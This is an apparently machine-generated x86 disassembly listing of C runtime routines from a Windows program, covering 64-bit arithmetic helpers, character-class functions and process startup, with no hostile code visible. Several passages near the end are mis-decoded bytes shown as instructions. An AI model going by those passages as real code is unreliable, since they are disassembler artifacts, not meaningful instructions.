seg000:00412D71p ; seg000:00412E80p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_4201E7: ; CODE XREF: sub_4201E0+2Fj cmp [ebp+arg_0], 0 jnz short loc_42020B push offset dword_4394EC push 0 push 65h push offset dword_439D20 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42020B int 3 ; Trap to Debugger loc_42020B: ; CODE XREF: sub_4201E0+Bj ; sub_4201E0+28j xor eax, eax test eax, eax jnz short loc_4201E7 mov ecx, [ebp+arg_0] push ecx call sub_41F070 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_420250 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_41F0E0 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4201E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420250 proc near ; CODE XREF: sub_4201E0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_420257: ; CODE XREF: sub_420250+32j cmp [ebp+arg_0], 0 jnz short loc_42027E push offset dword_4394FC push 0 push 92h push offset dword_439D20 push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42027E int 3 ; Trap to Debugger loc_42027E: ; CODE XREF: sub_420250+Bj ; sub_420250+2Bj xor eax, eax test eax, eax jnz short loc_420257 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_4202AB cmp [ebp+arg_8], 0 jz short loc_4202BE cmp [ebp+arg_8], 1 jz short loc_4202BE cmp [ebp+arg_8], 2 jz short loc_4202BE loc_4202AB: ; CODE XREF: sub_420250+47j call sub_4267E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_420370 ; --------------------------------------------------------------------------- loc_4202BE: ; CODE XREF: sub_420250+4Dj ; sub_420250+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_4202EE mov ecx, [ebp+var_4] push ecx call sub_42B8A0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_4202EE: ; CODE XREF: sub_420250+81j mov eax, [ebp+var_4] push eax call sub_421720 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_42031B mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_42034F ; --------------------------------------------------------------------------- loc_42031B: ; CODE XREF: sub_420250+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_42034F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_42034F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_42034F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_42034F: ; CODE XREF: sub_420250+C9j ; sub_420250+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_42B6E0 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_420370: ; CODE XREF: sub_420250+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420380 proc near ; CODE XREF: sub_414853+11Bp ; seg000:0041D65Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_420399 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_420399: ; CODE XREF: sub_420380+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_420380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4203C0 proc near ; CODE XREF: sub_4169AF+3Fp ; seg000:0041A352p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4203E2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_420423 ; --------------------------------------------------------------------------- loc_4203E2: ; CODE XREF: sub_4203C0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4203F0: ; CODE XREF: sub_4203C0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4203F0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_42041E cmp edx, [esp+8+arg_4] ja short loc_42041E jb short loc_42041F cmp eax, [esp+8+arg_0] jbe short loc_42041F loc_42041E: ; CODE XREF: sub_4203C0+4Ej ; sub_4203C0+54j dec esi loc_42041F: ; CODE XREF: sub_4203C0+56j ; sub_4203C0+5Cj xor edx, edx mov eax, esi loc_420423: ; CODE XREF: sub_4203C0+20j pop esi pop ebx retn 10h sub_4203C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420430 proc near ; CODE XREF: sub_4169AF+2Dp ; seg000:0041A36Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_420451 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4204A1 ; --------------------------------------------------------------------------- loc_420451: ; CODE XREF: sub_420430+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_42045F: ; CODE XREF: sub_420430+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_42045F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_42048A cmp edx, [esp+4+arg_4] ja short loc_42048A jb short loc_420492 cmp eax, [esp+4+arg_0] jbe short loc_420492 loc_42048A: ; CODE XREF: sub_420430+4Aj ; sub_420430+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_420492: ; CODE XREF: sub_420430+52j ; sub_420430+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4204A1: ; CODE XREF: sub_420430+1Fj pop ebx retn 10h sub_420430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4204B0 proc near ; CODE XREF: sub_416ABF+5Ep ; sub_416ABF+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_4204D1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_4204D1: ; CODE XREF: sub_4204B0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4204ED inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4204ED: ; CODE XREF: sub_4204B0+27j or eax, eax jnz short loc_420509 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_42054A ; --------------------------------------------------------------------------- loc_420509: ; CODE XREF: sub_4204B0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_420517: ; CODE XREF: sub_4204B0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_420517 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_420545 cmp edx, [esp+0Ch+arg_4] ja short loc_420545 jb short loc_420546 cmp eax, [esp+0Ch+arg_0] jbe short loc_420546 loc_420545: ; CODE XREF: sub_4204B0+85j ; sub_4204B0+8Bj dec esi loc_420546: ; CODE XREF: sub_4204B0+8Dj ; sub_4204B0+93j xor edx, edx mov eax, esi loc_42054A: ; CODE XREF: sub_4204B0+57j dec edi jnz short loc_420554 neg edx neg eax sbb edx, 0 loc_420554: ; CODE XREF: sub_4204B0+9Bj pop ebx pop esi pop edi retn 10h sub_4204B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420583 push 103h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_42059A ; --------------------------------------------------------------------------- loc_420583: ; CODE XREF: seg000:0042056Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42059A: ; CODE XREF: seg000:00420581j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_4205D0 push 1 mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_4205E5 ; --------------------------------------------------------------------------- loc_4205D0: ; CODE XREF: seg000:004205BBj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_4205E5: ; CODE XREF: seg000:004205CEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420610 push 2 mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_420625 ; --------------------------------------------------------------------------- loc_420610: ; CODE XREF: seg000:004205FBj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_420625: ; CODE XREF: seg000:0042060Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420630 proc near ; CODE XREF: sub_417120+1A8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420650 push 4 mov eax, [ebp+arg_0] push eax call sub_423D90 add esp, 8 mov [ebp+var_4], eax jmp short loc_420665 ; --------------------------------------------------------------------------- loc_420650: ; CODE XREF: sub_420630+Bj mov ecx, [ebp+arg_0] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_420665: ; CODE XREF: sub_420630+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_420630 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420693 push 80h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_4206AA ; --------------------------------------------------------------------------- loc_420693: ; CODE XREF: seg000:0042067Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_4206AA: ; CODE XREF: seg000:00420691j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206C0 proc near ; CODE XREF: sub_426BE0+105p ; sub_4280A0+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_4206E0 push 8 mov eax, [ebp+arg_0] push eax call sub_423D90 add esp, 8 mov [ebp+var_4], eax jmp short loc_4206F5 ; --------------------------------------------------------------------------- loc_4206E0: ; CODE XREF: sub_4206C0+Bj mov ecx, [ebp+arg_0] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_4206F5: ; CODE XREF: sub_4206C0+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4206C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420720 push 10h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_420735 ; --------------------------------------------------------------------------- loc_420720: ; CODE XREF: seg000:0042070Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_420735: ; CODE XREF: seg000:0042071Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420763 push 107h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_42077A ; --------------------------------------------------------------------------- loc_420763: ; CODE XREF: seg000:0042074Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_42077A: ; CODE XREF: seg000:00420761j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_4207B3 push 157h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_4207CA ; --------------------------------------------------------------------------- loc_4207B3: ; CODE XREF: seg000:0042079Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_4207CA: ; CODE XREF: seg000:004207B1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420803 push 117h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_42081A ; --------------------------------------------------------------------------- loc_420803: ; CODE XREF: seg000:004207EBj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_42081A: ; CODE XREF: seg000:00420801j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_44FD20, 1 jle short loc_420850 push 20h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_420865 ; --------------------------------------------------------------------------- loc_420850: ; CODE XREF: seg000:0042083Bj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_420865: ; CODE XREF: seg000:0042084Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp ds:dword_44FD20, 1 jle short loc_4208B5 push 103h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_4208CC ; --------------------------------------------------------------------------- loc_4208B5: ; CODE XREF: seg000:0042089Dj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_4208CC: ; CODE XREF: seg000:004208B3j cmp dword ptr [ebp-4], 0 jnz short loc_4208E1 cmp dword ptr [ebp+8], 5Fh jz short loc_4208E1 mov dword ptr [ebp-8], 0 jmp short loc_4208E8 ; --------------------------------------------------------------------------- loc_4208E1: ; CODE XREF: seg000:004208D0j ; seg000:004208D6j mov dword ptr [ebp-8], 1 loc_4208E8: ; CODE XREF: seg000:004208DFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp ds:dword_44FD20, 1 jle short loc_420915 push 107h mov eax, [ebp+8] push eax call sub_423D90 add esp, 8 mov [ebp-4], eax jmp short loc_42092C ; --------------------------------------------------------------------------- loc_420915: ; CODE XREF: seg000:004208FDj mov ecx, [ebp+8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_42092C: ; CODE XREF: seg000:00420913j cmp dword ptr [ebp-4], 0 jnz short loc_420941 cmp dword ptr [ebp+8], 5Fh jz short loc_420941 mov dword ptr [ebp-8], 0 jmp short loc_420948 ; --------------------------------------------------------------------------- loc_420941: ; CODE XREF: seg000:00420930j ; seg000:00420936j mov dword ptr [ebp-8], 1 loc_420948: ; CODE XREF: seg000:0042093Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420960 proc near ; CODE XREF: sub_417851+6p ; sub_41786F+4Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4EEA70, 0 jnz short loc_420987 cmp [ebp+arg_0], 41h jl short loc_420982 cmp [ebp+arg_0], 5Ah jg short loc_420982 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_420982: ; CODE XREF: sub_420960+11j ; sub_420960+17j mov eax, [ebp+arg_0] jmp short loc_4209EF ; --------------------------------------------------------------------------- loc_420987: ; CODE XREF: sub_420960+Bj push offset dword_4EED14 call ds:dword_4F1428 ; InterlockedIncrement cmp ds:dword_4EED10, 0 jz short loc_4209B9 push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement push 13h call sub_421A80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_4209C0 ; --------------------------------------------------------------------------- loc_4209B9: ; CODE XREF: sub_420960+39j mov [ebp+var_4], 0 loc_4209C0: ; CODE XREF: sub_420960+57j mov ecx, [ebp+arg_0] push ecx call sub_420A00 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_4209E1 push 13h call sub_421B20 add esp, 4 jmp short loc_4209EC ; --------------------------------------------------------------------------- loc_4209E1: ; CODE XREF: sub_420960+73j push offset dword_4EED14 call ds:dword_4F1424 ; InterlockedDecrement loc_4209EC: ; CODE XREF: sub_420960+7Fj mov eax, [ebp+arg_0] loc_4209EF: ; CODE XREF: sub_420960+25j mov esp, ebp pop ebp retn sub_420960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420A00 proc near ; CODE XREF: sub_420960+64p ; sub_435D40+94p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4EEA70, 0 jnz short loc_420A2C cmp [ebp+arg_0], 41h jl short loc_420A24 cmp [ebp+arg_0], 5Ah jg short loc_420A24 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_420A24: ; CODE XREF: sub_420A00+13j ; sub_420A00+19j mov eax, [ebp+arg_0] jmp loc_420B27 ; --------------------------------------------------------------------------- loc_420A2C: ; CODE XREF: sub_420A00+Dj cmp [ebp+arg_0], 100h jge short loc_420A73 cmp ds:dword_44FD20, 1 jle short loc_420A51 push 1 mov ecx, [ebp+arg_0] push ecx call sub_423D90 add esp, 8 mov [ebp+var_10], eax jmp short loc_420A65 ; --------------------------------------------------------------------------- loc_420A51: ; CODE XREF: sub_420A00+3Cj mov edx, [ebp+arg_0] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_420A65: ; CODE XREF: sub_420A00+4Fj cmp [ebp+var_10], 0 jnz short loc_420A73 mov eax, [ebp+arg_0] jmp loc_420B27 ; --------------------------------------------------------------------------- loc_420A73: ; CODE XREF: sub_420A00+33j ; sub_420A00+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_420ABC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_420ACD ; --------------------------------------------------------------------------- loc_420ABC: ; CODE XREF: sub_420A00+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_420ACD: ; CODE XREF: sub_420A00+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, ds:dword_4EEA70 push edx call loc_42BB40 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_420B01 mov eax, [ebp+arg_0] jmp short loc_420B27 ; --------------------------------------------------------------------------- loc_420B01: ; CODE XREF: sub_420A00+FAj cmp [ebp+var_4], 1 jnz short loc_420B11 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_420B27 ; --------------------------------------------------------------------------- loc_420B11: ; CODE XREF: sub_420A00+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_420B27: ; CODE XREF: sub_420A00+27j ; sub_420A00+6Ej ... mov esp, ebp pop ebp retn sub_420A00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_439D28 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFA4h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_4F1434 ; GetVersion mov ds:dword_4EE96C, eax mov eax, ds:dword_4EE96C shr eax, 8 and eax, 0FFh mov ds:dword_4EE978, eax mov ecx, ds:dword_4EE96C and ecx, 0FFh mov ds:dword_4EE974, ecx mov edx, ds:dword_4EE974 shl edx, 8 add edx, ds:dword_4EE978 mov ds:dword_4EE970, edx mov eax, ds:dword_4EE96C shr eax, 10h and eax, 0FFFFh mov ds:dword_4EE96C, eax push 1 call sub_422000 add esp, 4 test eax, eax jnz short loc_420BC4 push 1Ch call sub_420CD0 add esp, 4 loc_420BC4: ; CODE XREF: seg000:00420BB8j call sub_425B50 test eax, eax jnz short loc_420BD7 push 10h call sub_420CD0 add esp, 4 loc_420BD7: ; CODE XREF: seg000:00420BCBj mov dword ptr [ebp-4], 0 call loc_4281D0 call near ptr 3D0000h inc esi mov ds:dword_4EF068, eax call sub_42C7E0 mov ds:dword_4EE9D4, eax call sub_42C2D0 call sub_42C180 call sub_41D990 mov dword ptr [ebp-30h], 0 lea ecx, [ebp-5Ch] push ecx call near ptr 3D0000h popa call sub_42C0C0 mov [ebp-64h], eax mov edx, [ebp-30h] and edx, 1 test edx, edx jz short loc_420C37 mov eax, [ebp-2Ch] and eax, 0FFFFh mov [ebp-6Ch], eax jmp short loc_420C3E ; --------------------------------------------------------------------------- loc_420C37: ; CODE XREF: seg000:00420C28j mov dword ptr [ebp-6Ch], 0Ah loc_420C3E: ; CODE XREF: seg000:00420C35j mov ecx, [ebp-6Ch] push ecx mov edx, [ebp-64h] push edx push 0 push 0 call near ptr 3D0000h in eax, dx push eax call loc_402710 mov [ebp-60h], eax mov eax, [ebp-60h] push eax call sub_41D9D0 mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call sub_42BEA0 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_41D9F0 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CA0 proc near ; CODE XREF: sub_41EF20+8Dp ; sub_41FE90+2Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_4EE9DC, 1 jnz short loc_420CB1 call sub_42CAE0 loc_420CB1: ; CODE XREF: sub_420CA0+Aj mov eax, [ebp+arg_0] push eax call sub_42CB30 add esp, 4 push 0FFh call ds:off_44FD30 add esp, 4 pop ebp retn sub_420CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CD0 proc near ; CODE XREF: seg000:00420BBCp ; seg000:00420BCFp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_4EE9DC, 1 jnz short loc_420CE1 call sub_42CAE0 loc_420CE1: ; CODE XREF: sub_420CD0+Aj mov eax, [ebp+arg_0] push eax call sub_42CB30 add esp, 4 push 0FFh call ds:dword_4F12F8 ; ExitProcess pop ebp retn sub_420CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: seg000:00420F23p ; sub_4211A0+33p push ebp mov ebp, esp call ds:dword_4F1438 ; DebugBreak pop ebp retn sub_420D00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_420D20 cmp dword ptr [ebp+8], 3 jl short loc_420D25 loc_420D20: ; CODE XREF: seg000:00420D18j or eax, 0FFFFFFFFh jmp short loc_420D63 ; --------------------------------------------------------------------------- loc_420D25: ; CODE XREF: seg000:00420D1Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_420D37 mov eax, [ebp+8] mov eax, ds:dword_44FD3C[eax*4] jmp short loc_420D63 ; --------------------------------------------------------------------------- loc_420D37: ; CODE XREF: seg000:00420D29j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_420D46 or eax, 0FFFFFFFFh jmp short loc_420D63 ; --------------------------------------------------------------------------- loc_420D46: ; CODE XREF: seg000:00420D3Fj mov edx, [ebp+8] mov eax, ds:dword_44FD3C[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov ds:dword_44FD3C[ecx*4], edx ; CODE XREF: seg000:00420DCDj mov eax, [ebp-4] loc_420D63: ; CODE XREF: seg000:00420D23j ; seg000:00420D35j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_420D80 cmp dword ptr [ebp+8], 3 jl short loc_420D87 loc_420D80: ; CODE XREF: seg000:00420D78j mov eax, 0FFFFFFFEh jmp short near ptr loc_420DE6+4 ; --------------------------------------------------------------------------- loc_420D87: ; CODE XREF: seg000:00420D7Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_420D99 mov eax, [ebp+8] mov eax, ds:dword_44FD48[eax*4] jmp short near ptr loc_420DE6+4 ; --------------------------------------------------------------------------- loc_420D99: ; CODE XREF: seg000:00420D8Bj mov ecx, [ebp+8] mov edx, ds:dword_44FD48[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_420DC0 push 0FFFFFFF5h call near ptr 3D0000h mov edi, 89084D8Bh add al, 8Dh dec eax std inc esp add bl, ch daa loc_420DC0: ; CODE XREF: seg000:00420DAAj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short near ptr loc_420DD9+1 push 0FFFFFFF4h call near ptr 3D0000h jno short near ptr loc_420D59+1 push ebp or [ecx-2B76AFCh], cl inc esp add bl, ch loc_420DD9: ; CODE XREF: seg000:00420DC4j or eax, 8B08458Bh dec ebp or al, 89h or al, 85h dec eax std inc esp loc_420DE6: ; CODE XREF: seg000:00420D85j ; seg000:00420D97j add [ebx-1A7403BBh], cl pop ebp 